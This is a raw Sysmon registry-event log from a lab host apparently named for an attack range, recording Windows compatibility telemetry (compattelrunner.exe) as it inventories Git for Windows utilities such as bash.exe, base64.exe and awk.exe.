13241300x800000000000000035893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|22efe6404fe377ef\Publisher(Empty) 13241300x800000000000000035892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bzcat.exe|22efe6404fe377ef\LowerCaseLongPathc:\program files\git\mingw64\bin\bzcat.exe 13241300x800000000000000035891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|e3db3453bc608648\BinProductVersion(Empty) 13241300x800000000000000035890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|e3db3453bc608648\LinkDate01/01/1970 00:00:00 13241300x800000000000000035889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|e3db3453bc608648\Publisher(Empty) 13241300x800000000000000035888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|e3db3453bc608648\LowerCaseLongPathc:\program files\git\mingw64\bin\bunzip2.exe 13241300x800000000000000035887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|9ac74d590cb04f1a\BinProductVersion(Empty) 13241300x800000000000000035886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|9ac74d590cb04f1a\LinkDate01/01/1970 00:00:00 13241300x800000000000000035885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|9ac74d590cb04f1a\Publisher(Empty) 13241300x800000000000000035884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bunzip2.exe|9ac74d590cb04f1a\LowerCaseLongPathc:\program files\git\usr\bin\bunzip2.exe 13241300x800000000000000035883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\brotli.exe|31204f639af895eb\BinProductVersion(Empty) 13241300x800000000000000035882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\brotli.exe|31204f639af895eb\LinkDate01/01/1970 00:00:00 13241300x800000000000000035881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\brotli.exe|31204f639af895eb\Publisher(Empty) 13241300x800000000000000035880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\brotli.exe|31204f639af895eb\LowerCaseLongPathc:\program files\git\mingw64\bin\brotli.exe 13241300x800000000000000035879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\blocked-file-uti|26a5d90fb1352887\BinProductVersion(Empty) 13241300x800000000000000035878Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\blocked-file-uti|26a5d90fb1352887\LinkDate01/01/1970 00:00:00 13241300x800000000000000035877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\blocked-file-uti|26a5d90fb1352887\Publisher(Empty) 13241300x800000000000000035876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\blocked-file-uti|26a5d90fb1352887\LowerCaseLongPathc:\program files\git\mingw64\bin\blocked-file-util.exe 13241300x800000000000000035875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|82493e8a87323f44\BinProductVersion2.33.0.2 13241300x800000000000000035874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|82493e8a87323f44\LinkDate08/24/2021 10:09:53 13241300x800000000000000035873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|82493e8a87323f44\Publisherthe git development community 13241300x800000000000000035872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|82493e8a87323f44\LowerCaseLongPathc:\program files\git\bin\bash.exe 13241300x800000000000000035871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|5f326cb536e85740\BinProductVersion(Empty) 13241300x800000000000000035870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|5f326cb536e85740\LinkDate12/04/2018 10:21:15 13241300x800000000000000035869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|5f326cb536e85740\Publisher(Empty) 13241300x800000000000000035868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\bash.exe|5f326cb536e85740\LowerCaseLongPathc:\program files\git\usr\bin\bash.exe 13241300x800000000000000035867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basenc.exe|441974f40d711257\BinProductVersion(Empty) 13241300x800000000000000035866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basenc.exe|441974f40d711257\LinkDate01/01/1970 00:00:00 13241300x800000000000000035865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basenc.exe|441974f40d711257\Publisher(Empty) 13241300x800000000000000035864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basenc.exe|441974f40d711257\LowerCaseLongPathc:\program files\git\usr\bin\basenc.exe 13241300x800000000000000035863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basename.exe|47ada093d5bb600a\BinProductVersion(Empty) 13241300x800000000000000035862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basename.exe|47ada093d5bb600a\LinkDate01/01/1970 00:00:00 13241300x800000000000000035861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basename.exe|47ada093d5bb600a\Publisher(Empty) 13241300x800000000000000035860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\basename.exe|47ada093d5bb600a\LowerCaseLongPathc:\program files\git\usr\bin\basename.exe 13241300x800000000000000035859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base64.exe|962b95c6244d4b06\BinProductVersion(Empty) 13241300x800000000000000035858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base64.exe|962b95c6244d4b06\LinkDate01/01/1970 00:00:00 13241300x800000000000000035857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base64.exe|962b95c6244d4b06\Publisher(Empty) 13241300x800000000000000035856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base64.exe|962b95c6244d4b06\LowerCaseLongPathc:\program files\git\usr\bin\base64.exe 13241300x800000000000000035855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base32.exe|a314ab833a8613c9\BinProductVersion(Empty) 13241300x800000000000000035854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base32.exe|a314ab833a8613c9\LinkDate01/01/1970 00:00:00 13241300x800000000000000035853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base32.exe|a314ab833a8613c9\Publisher(Empty) 13241300x800000000000000035852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\base32.exe|a314ab833a8613c9\LowerCaseLongPathc:\program files\git\usr\bin\base32.exe 13241300x800000000000000035851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\b2sum.exe|29b37ad7ebd1394a\BinProductVersion(Empty) 13241300x800000000000000035850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\b2sum.exe|29b37ad7ebd1394a\LinkDate01/01/1970 00:00:00 13241300x800000000000000035849Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.246{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\b2sum.exe|29b37ad7ebd1394a\Publisher(Empty) 13241300x800000000000000035848Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\b2sum.exe|29b37ad7ebd1394a\LowerCaseLongPathc:\program files\git\usr\bin\b2sum.exe 13241300x800000000000000035847Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\awk.exe|283395e55c831d1d\BinProductVersion(Empty) 13241300x800000000000000035846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\awk.exe|283395e55c831d1d\LinkDate01/01/1970 00:00:00 13241300x800000000000000035845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\awk.exe|283395e55c831d1d\Publisher(Empty) 13241300x800000000000000035844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\awk.exe|283395e55c831d1d\LowerCaseLongPathc:\program files\git\usr\bin\awk.exe 13241300x800000000000000035843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\atlassian.bitbuc|c03cc9e8c801d513\BinProductVersion2.0.498.0 13241300x800000000000000035842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\atlassian.bitbuc|c03cc9e8c801d513\LinkDate01/15/2077 00:12:40 13241300x800000000000000035841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\atlassian.bitbuc|c03cc9e8c801d513\Publisheratlassian.bitbucket.ui 13241300x800000000000000035840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\atlassian.bitbuc|c03cc9e8c801d513\LowerCaseLongPathc:\program files\git\mingw64\libexec\git-core\atlassian.bitbucket.ui.exe 13241300x800000000000000035839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\arch.exe|6cd29c8ee920e833\BinProductVersion(Empty) 13241300x800000000000000035838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\arch.exe|6cd29c8ee920e833\LinkDate01/01/1970 00:00:00 13241300x800000000000000035837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\arch.exe|6cd29c8ee920e833\Publisher(Empty) 13241300x800000000000000035836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\arch.exe|6cd29c8ee920e833\LowerCaseLongPathc:\program files\git\usr\bin\arch.exe 13241300x800000000000000035835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\antiword.exe|f9989c5a06cca46c\BinProductVersion(Empty) 13241300x800000000000000035834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\antiword.exe|f9989c5a06cca46c\LinkDate01/01/1970 00:00:00 13241300x800000000000000035833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\antiword.exe|f9989c5a06cca46c\Publisher(Empty) 13241300x800000000000000035832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\antiword.exe|f9989c5a06cca46c\LowerCaseLongPathc:\program files\git\mingw64\bin\antiword.exe 13241300x800000000000000035831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ahost.exe|40c7db6e62088170\BinProductVersion(Empty) 13241300x800000000000000035830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ahost.exe|40c7db6e62088170\LinkDate01/01/1970 00:00:00 13241300x800000000000000035829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ahost.exe|40c7db6e62088170\Publisher(Empty) 13241300x800000000000000035828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\ahost.exe|40c7db6e62088170\LowerCaseLongPathc:\program files\git\mingw64\bin\ahost.exe 13241300x800000000000000035827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\adig.exe|8c2dc2d7e3156644\BinProductVersion(Empty) 13241300x800000000000000035826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\adig.exe|8c2dc2d7e3156644\LinkDate01/01/1970 00:00:00 13241300x800000000000000035825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\adig.exe|8c2dc2d7e3156644\Publisher(Empty) 13241300x800000000000000035824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\adig.exe|8c2dc2d7e3156644\LowerCaseLongPathc:\program files\git\mingw64\bin\adig.exe 13241300x800000000000000035823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\acountry.exe|45550c852fce5231\BinProductVersion(Empty) 13241300x800000000000000035822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\acountry.exe|45550c852fce5231\LinkDate01/01/1970 00:00:00 13241300x800000000000000035821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\acountry.exe|45550c852fce5231\Publisher(Empty) 13241300x800000000000000035820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.230{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\acountry.exe|45550c852fce5231\LowerCaseLongPathc:\program files\git\mingw64\bin\acountry.exe 